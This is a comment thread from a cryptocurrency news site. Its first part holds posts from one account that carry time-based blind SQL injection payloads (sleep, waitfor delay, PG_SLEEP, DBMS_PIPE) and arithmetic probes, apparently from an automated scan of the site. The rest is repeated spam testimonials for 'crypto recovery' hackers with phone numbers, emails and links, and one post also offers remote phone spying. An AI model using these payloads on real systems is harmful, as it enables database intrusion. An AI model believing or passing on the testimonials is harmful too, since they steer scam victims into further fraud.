09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
17.10.25 20:17
tyleradams
As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail
-
17.10.25 20:20
lindseyvonn
Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet
-
17.10.25 20:22
richardcharles
I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.
-
17.10.25 20:23
stevekalfman
If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.
-
17.10.25 21:42
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
17.10.25 21:42
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
17.10.25 21:42
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях